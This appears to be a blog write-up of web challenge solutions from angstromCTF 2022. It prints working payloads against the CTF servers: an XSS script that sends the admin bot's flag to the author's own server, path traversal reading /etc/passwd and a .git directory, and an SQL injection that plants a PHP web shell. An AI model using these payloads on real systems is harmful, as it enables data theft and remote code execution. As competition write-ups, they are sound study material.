[ångstromCTF 2022] My own writeup

Posted on May 5, 2022

ångstromCTF 2022 was held at Sat, April 30, 00:00 — Wed, May 04, 23:59 (UTC). Since I mainly solved the web, I will write the writeup.

[web] The Flash

Problem Statement :

The new Justice League movies nerfed the Flash, so clam made his own rendition! Can you get the flag before the Flash swaps it out at the speed of light?

Problem Server : https://the-flash.web.actf.co/

Basically, the dummy flag is displayed on the web page, but the real flag is displayed for a moment. I didn’t have the idea of ​​detecting and stopping the change in the DOM, so I took a video of the screen and stopped it at a place like that.

flag

[web] Auth Skip

Problem Statement :

Clam was doing his angstromCTF flag% speedrun when he ran into the infamous timesink known in the speedrunning community as "auth". Can you pull off the legendary auth skip and get the flag?

Problem Server : https://auth-skip.web.actf.co/

Distributed files : index.js

const express = require("express");
const path = require("path");
const cookieParser = require("cookie-parser");

const app = express();
const port = Number(process.env.PORT) || 8080;

const flag = process.env.FLAG || "actf{placeholder_flag}";

app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());

app.post("/login", (req, res) => {
    if (
        req.body.username !== "admin" ||
        req.body.password !== Math.random().toString()
    ) {
        res.status(401).type("text/plain").send("incorrect login");
    } else {
        res.cookie("user", "admin");
        res.redirect("/");
    }
});

app.get("/", (req, res) => {
    if (req.cookies.user === "admin") {
        res.type("text/plain").send(flag);
    } else {
        res.sendFile(path.join(__dirname, "index.html"));
    }
});

app.listen(port, () => {
    console.log(`Server listening on port ${port}.`);
});

From the following, it can be seen that the flag can be obtained by sending user = admin as a cookie.

app.get("/", (req, res) => {
    if (req.cookies.user === "admin") {
        res.type("text/plain").send(flag);
    } else {
        res.sendFile(path.join(__dirname, "index.html"));
    }
});

Send user = admin as a cookie to get the flag.

$ curl -H 'Cookie: user=admin;' https://auth-skip.web.actf.co/ 
actf{passwordless_authentication_is_the_new_hip_thing}

[web] crumbs

Problem Statement : 

Follow the crumbs.

Problem Server : https://crumbs.web.actf.co/

Distributed files : index.js

const express = require("express");
const crypto = require("crypto");

const app = express();
const port = Number(process.env.PORT) || 8080;

const flag = process.env.FLAG || "actf{placeholder_flag}";

const paths = {};
let curr = crypto.randomUUID();
let first = curr;

for (let i = 0; i < 1000; ++i) {
    paths[curr] = crypto.randomUUID();
    curr = paths[curr];
}

paths[curr] = "flag";

app.use(express.urlencoded({ extended: false }));

app.get("/:slug", (req, res) => {
    if (paths[req.params.slug] === "flag") {
        res.status(200).type("text/plain").send(flag);
    } else if (paths[req.params.slug]) {
        res.status(200)
            .type("text/plain")
            .send(`Go to ${paths[req.params.slug]}`);
    } else {
        res.status(200).type("text/plain").send("Broke the trail of crumbs...");
    }
});

app.get("/", (req, res) => {
    res.status(200).type("text/plain").send(`Go to ${first}`);
});

app.listen(port, () => {
    console.log(`Server listening on port ${port}.`);
});

If you look at index.js, you can see that it looks like this:

paths[UUID1] = UUID2
paths[UUID2] = UUID3
...
paths[UUID1000] = "flag"

And from the following, it can be seen that a flag can be obtained by sending UUID1000 as a path parameter.

app.get("/:slug", (req, res) => {
    if (paths[req.params.slug] === "flag") {
        res.status(200).type("text/plain").send(flag);
    } else if (paths[req.params.slug]) {
        res.status(200)
            .type("text/plain")
            .send(`Go to ${paths[req.params.slug]}`);
    } else {
        res.status(200).type("text/plain").send("Broke the trail of crumbs...");
    }
});

If you GET /, you will get UUID1, so you can obediently ask for UUID2 or later and get the flag as follows.

import requests

r = requests.get("https://crumbs.web.actf.co/")
path = r.text.split()[2]

while True:
    r = requests.get("https://crumbs.web.actf.co/"+path)
    if ("actf{" in r.text) or (r.status_code != 200):
        print(r.text) # actf{w4ke_up_to_th3_m0on_6bdc10d7c6d5}
        break
    path = r.text.split()[2]

[web] Xtra Salty Sardines

Problem Statement :

Clam was intensely brainstorming new challenge ideas, when his stomach growled! He opened his favorite tin of salty sardines, took a bite out of them, and then got a revolutionary new challenge idea. What if he wrote a site with an extremely suggestive acronym?

Promblem Server : https://xtra-salty-sardines.web.actf.co, https://admin-bot.actf.co/xtra-salty-sardines

Distributed Files : index.js

const express = require("express");
const path = require("path");
const fs = require("fs");
const cookieParser = require("cookie-parser");

const app = express();
const port = Number(process.env.PORT) || 8080;
const sardines = {};

const alpha = "abcdefghijklmnopqrstuvwxyz";

const secret = process.env.ADMIN_SECRET || "secretpw";
const flag = process.env.FLAG || "actf{placeholder_flag}";

function genId() {
    let ret = "";
    for (let i = 0; i < 10; i++) {
        ret += alpha[Math.floor(Math.random() * alpha.length)];
    }
    return ret;
}

app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());

// the admin bot will be able to access this
app.get("/flag", (req, res) => {
    if (req.cookies.secret === secret) {
        res.send(flag);
    } else {
        res.send("you can't view this >:(");
    }
});

app.post("/mksardine", (req, res) => {
    if (!req.body.name) {
        res.status(400).type("text/plain").send("please include a name");
        return;
    }
    // no pesky chars allowed
    const name = req.body.name
        .replace("&", "&amp;")
        .replace('"', "&quot;")
        .replace("'", "&apos;")
        .replace("<", "&lt;")
        .replace(">", "&gt;");
    if (name.length === 0 || name.length > 2048) {
        res.status(400)
            .type("text/plain")
            .send("sardine name must be 1-2048 chars");
        return;
    }
    const id = genId();
    sardines[id] = name;
    res.redirect("/sardines/" + id);
});

app.get("/", (req, res) => {
    res.sendFile(path.join(__dirname, "index.html"));
});


app.get("/sardines/:sardine", (req, res) => {
    const name = sardines[req.params.sardine];
    if (!name) {
        res.status(404).type("text/plain").send("sardine not found :(");
        return;
    }
    const sardine = fs
        .readFileSync(path.join(__dirname, "sardine.html"), "utf8")
        .replaceAll("$NAME", name.replaceAll("$", "$$$$"));
    res.type("text/html").send(sardine);
});

app.listen(port, () => {
    console.log(`Server listening on port ${port}.`);
});

Firstly, https://xtra-salty-sardines.web.actf.co.

If you POST name to /mksardine, the page will transition and name will be displayed. In addition, the name is sanitized as follows.

const name = req.body.name
        .replace("&", "&amp;")
        .replace('"', "&quot;")
        .replace("'", "&apos;")
        .replace("<", "&lt;")
        .replace(">", "&gt;");

Now, if you send a payload like, <% foo><x foo="%><script>javascript:alert(1)</script>"> as name, XSS will fire. This payload was borrowed from xss-payload-list.

There is also another site called admin bot where admin bots can access /flag. And if you can access /flag, you will get flag.

// the admin bot will be able to access this
app.get("/flag", (req, res) => {
    if (req.cookies.secret === secret) {
        res.send(flag);
    } else {
        res.send("you can't view this >:(");
    }
});

Here, send the following payload as name to get the URL that XSS fires. Have the admin bot GET /flag and send the response flag to its own server.

<% foo><x foo="%><script>(async()=>{hoge=await fetch(`https://xtra-salty-sardines.web.actf.co/flag`).then((res)=>res.text());fetch(`https://<URL of own server set up by request bin etc.>/?flag=${hoge}`)})();</script>">

flag

If you send the URL that the acquired XSS fires with the admin bot, the flag will be sent to your server.

flag

flag

[web] Art Gallery

Problem Statement :

bosh left his image gallery service running.... quick, git all of his secrets before he deletes them!!! source

Promblem Server : https://art-gallery.web.actf.co/

Distributed Files : index.js

const express = require('express');
const path = require("path");

const app = express();
const port = Number(process.env.PORT) || 8080;

app.get("/gallery", (req, res) => {
    res.sendFile(path.join(__dirname, "images", req.query.member), (err) => {
        res.sendFile(path.join(__dirname, "error.html"))
    });
});

app.get("/", (req, res) => {
    res.sendFile(path.join(__dirname, "index.html"));
});

app.listen(port, () => {
    console.log(`Server listening on port ${port}.`);
});

Pay attention to the following part. Suspect Local File Inclusion (LFI) because you can insert any string into req.query.number and res.sendFile is executed.

app.get("/gallery", (req, res) => {
    res.sendFile(path.join(__dirname, "images", req.query.member), (err) => {
        res.sendFile(path.join(__dirname, "error.html"))
    });
});

After trying various things, you can see that /gallery?member=..///////..////..//////etc/passwd can get /etc/passwd.

$ curl "https://art-gallery.web.actf.co/gallery?member=..///////..////..//////etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash

Also, when I GET /gallery, I get an error. I know that the directory where the application is located is / app.

TypeError [ERR_INVALID_ARG_TYPE]: The "path" argument must be of type string. Received undefined
    at new NodeError (node:internal/errors:372:5)
    at validateString (node:internal/validators:120:11)
    at Object.join (node:path:1172:7)
    at /app/index.js:8:23
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
    at next (/app/node_modules/express/lib/router/route.js:144:13)
    at Route.dispatch (/app/node_modules/express/lib/router/route.js:114:3)
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
    at /app/node_modules/express/lib/router/index.js:286:22
    at Function.process_params (/app/node_modules/express/lib/router/index.js:348:12)

Dockerfile can be taken with /gallery?member=..///////..////..//////app/Dockerfile.

$ curl "https://art-gallery.web.actf.co/gallery?member=..///////..////..//////app/Dockerfile"
FROM node:17-bullseye-slim

WORKDIR /app
COPY . .
RUN mv git .git
RUN npm ci

ENV PORT=8080

EXPOSE 8080

CMD ["node", "index.js"]

You can see that the .git directory is located under / app. Here, using git-dumper, dump the .git directory. Below, the .git directory is dumped under the local ./temp.

$ git-dumper "https://art-gallery.web.actf.co/gallery?member=..///////..////..//////app/.git" ./temp

If you look at the log, you can see that flag.txt was created and deleted.

$ cd temp
$ git log --stat
commit 1c584170fb33ae17a63e22456f19601efb1f23db (HEAD -> master)
Author: imposter <sus@aplet.me>
Date:   Tue Apr 26 21:47:45 2022 -0400

    bury secrets

commit 713a4aba8af38c9507ced6ea41f602b105ca4101
Author: imposter <sus@aplet.me>
Date:   Tue Apr 26 21:44:48 2022 -0400

    remove vital secrets

 flag.txt | 1 -
 1 file changed, 1 deletion(-)

commit 56449caeb7973b88f20d67b4c343cbb895aa6bc7
Author: imposter <sus@aplet.me>
Date:   Tue Apr 26 21:44:01 2022 -0400

    add program

 error.html          |  16 ++++
 flag.txt            |   1 +
 images/aplet.jpg    | Bin 0 -> 105281 bytes
 images/cavocado.jpg | Bin 0 -> 824702 bytes
 images/clam.jpg     | Bin 0 -> 26164 bytes
 images/emh.jpg      | Bin 0 -> 63584 bytes
 index.html          |  25 +++++++
 index.js            |  19 +++++
 package-lock.json   | 432 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 package.json        |  15 ++++
 10 files changed, 508 insertions(+)

If you refer to the commit where flag.txt existed, you can get the flag.

$ git show 56449caeb7973b88f20d67b4c343cbb895aa6bc7:flag.txt
actf{lfi_me_alone_and_git_out_341n4kaf5u59v}

[web] No Flags?

Problem Statement:

After hearing about all of the cheating scandals, clam decided to conduct a sting operation for ångstromCTF. He made a database of fake flags to see who submits them. Unbeknownst to him, a spy managed to sneak a real flag into his database. Can you find it?

Problem Server: https://no-flags.web.actf.co/

Distributed Files:

Dockerfile

FROM php:8.1.5-apache-bullseye

# executable that prints the flag
COPY printflag /printflag
RUN chmod 111 /printflag
COPY src /var/www/html

RUN chown -R root:root /var/www/html && chmod -R 555 /var/www/html
RUN mkdir /var/www/html/abyss &&\
    chown -R root:root /var/www/html/abyss &&\
    chmod -R 333 abyss

EXPOSE 80

index.php

<?php session_start(); ?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>No Flags?</title>
    <style>
        body {
            background-color: #f8bbd0;
        }

        h1, h2, li, input {
            color: #560027;
        }
        
        h1, h2 {
            font-family: sans-serif;
        }

        h1 {
            font-size: 36px;
        }

        h2 {
            font-size: 30px;
        }

        li, input {
            font-size: 24px;
            font-family: monospace;
        }

        input {
            background: none;
            border: 1px solid #880e4f;
            border-radius: 5px;
        }
    </style>
</head>
<body>
    <h1>List of Fake Flags</h1>
    <ul>
    <?php
        if (!isset($_SESSION["DBNAME"])) {
            $dbname = hash("sha256", (string) rand());
            $_SESSION["DBNAME"] = $dbname;
            $init = true;
        } else {
            $dbname = $_SESSION["DBNAME"];
            $init = false;
        }
        $pdo = new PDO("sqlite:/tmp/$dbname.db");
        if ($init) {
            $pdo->exec("CREATE TABLE Flags (flag string); INSERT INTO Flags VALUES ('actf{not_the_flag}'), ('actf{maybe_the_flag}')");
        }
        if (isset($_POST["flag"])) {
            $flag = $_POST["flag"];
            $pdo->exec("INSERT INTO Flags VALUES ('$flag');");
        }
        foreach ($pdo->query("SELECT * FROM Flags") as $row) {
            echo "<li>" . htmlspecialchars($row["flag"]) . "</li>";
        }
    ?>
    </ul>
    <h2>Add a Fake Flag</h2>
    <form action="/" method="POST">
        <input type="text" name="flag" placeholder="flag...">
        <input type="submit" value="Add">
    </form>
</body>
</html>

From the following, we can see that any input can be inserted into the flag parameter. We expect SQL injection to be possible.

if (isset($_POST["flag"])) {
    $flag = $_POST["flag"];
    $pdo->exec("INSERT INTO Flags VALUES ('$flag');");
}

After trying various things, it turns out that UNION Based injection is possible.

$ curl -X POST --data-urlencode "flag=1') UNION SELECT 1--" https://no-flags.web.actf.co/ # ok
$ curl -X POST --data-urlencode "flag=1') UNION SELECT 1,2--" https://no-flags.web.actf.co/ # error(not ok)

Now that SQL injection is possible, I think about connecting to RCE next. I can find this cheat sheet by doing various research.

RCE is possible by POST the following payload as flag.

1') UNION SELECT 1; ATTACH DATABASE '/var/www/html/abyss/hoge.php' AS hoge; CREATE TABLE hoge.cmd (dataz text); INSERT INTO hoge.cmd (dataz) VALUES ('<?php system($_GET["cmd"]); ?>');--

We know from Dockerfile that /printflag is a binary that displays the flag, so run it to get the flag.

$ curl "https://no-flags.web.actf.co/abyss/crack.php?cmd=/printflag" --output -
��Cactf{why_do_people_still_use_php}ataz text)/GtablepwnpwnCREATE TABLE pwn (dataz text)1GtablehogehogeCREATE TABLE hoge (hoge text)
�� Iactf{why_do_people_still_use_php}

Thoughts

I was also working on Secure Vault, but it was a pity that I couldn’t make a plan to solve. It was a fun CTF with lots of difficult problems that I could solve if I worked hard at my own level.